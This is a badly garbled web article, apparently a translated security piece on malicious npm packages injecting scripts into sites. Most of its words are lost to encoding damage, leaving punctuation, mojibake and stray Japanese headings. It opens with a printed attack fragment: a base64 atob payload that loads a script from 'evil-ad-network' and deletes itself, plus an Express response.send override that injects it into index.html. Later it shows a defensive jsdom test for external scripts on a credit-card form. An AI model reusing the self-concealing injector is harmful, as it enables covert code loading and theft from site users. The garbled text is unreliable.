atob('CiAgICAgICAgY29uc3Qgc2NyaXB0RWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICBzY3JpcHRFbC5zcmMgPSAnaHR0cHM6Ly9ldmlsLWFkLW5ldHdvcms/YWRfdHlwZT1tZWRpdW0nOwogICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoc2NyaXB0RWwpOwogICAgICAgIHNjcmlwdEVsLnJlbW92ZSgpOyAvLyByZW1vdmUgdGhlIHNjcmlwdCB0aGF0IGZldGNoZXMKICAgICAgICBkb2N1bWVudC5zY3JpcHRzW2RvY3VtZW50LnNjcmlwdHMubGVuZ3RoIC0gMV0ucmVtb3ZlKCk7IC8vIHJlbW92ZSB0aGlzIHNjcmlwdAogICAgICAgIGRvY3VtZW50LnNjcmlwdHNbZG9jdW1lbnQuc2NyaXB0cy5sZW5ndGggLSAxXS5yZW1vdmUoKTsgLy8gYW5kIHRoZSBvbmUgdGhhdCBjcmVhdGVkIGl0CiAgICA='); document.body.appendChild(googleAuthToken); </script> `; indexHtml = indexHtml.replace('</body>', `${script}</body>`); } express.response.send.call(this, indexHtml); } else { originalResponseSendFile.call(this, path, options, callback); } };
, ( â ) ( , CSP ), .
, , ( , , ), , , Express. , , , , , .
â ,
Object.freeze
Object.defineProperty
writable: false
, .
, . , Node , .
, , , , , , ?
, .
â
, .
Firebase . . ,
firebase-tools
npm, ⊠, , , npm- , npm- ?
, . â npm-, .
âŠ
640,
firebase-tools
. 640 .
, . . , .
, . . ,
firebase-tools
âŠ
640 , 647- . 7 ? , Firebase, , ? -, , ?
âWebpack
, , «» HTML- (, CSS-), .
- , , Webpack, . Webpack 367 . - CSS, 246 .
html-webpack-plugin
, , , , CSS- , 156 .
, , , - , . HTML-, .
â
, , , . â , . , « ».
, . , , , «» HTML-.
const fs = require('fs'); const path = require('path'); const { JSDOM } = require('jsdom'); it('should not contain any external scripts, ask David why', () => { const creditCardForm = fs.readFileSync(path.resolve(__dirname, '../public/credit-card-form.html'), 'utf8'); const dom = new JSDOM( creditCardForm, { runScripts: 'dangerously' }, ); const scriptElementWithSource = dom.window.document.querySelector('script[src]'); expect(scriptElementWithSource).toBe(null); });
<script>
( , ),
src
.
jsdom
,
document.createElement()
.
, , , , .
, , «» HTML-. -
firebase-tools
Webpack, , , 1200 , , - â .
ãŸãšã
, , . npm-.
: , , â .
. , npm-, «» .
, , , , , .
, , , , : React, Webpack, Babel . , .
â , , , , , .
, .
芪æãªãèªè
ïŒ â , : « ». . , - â .
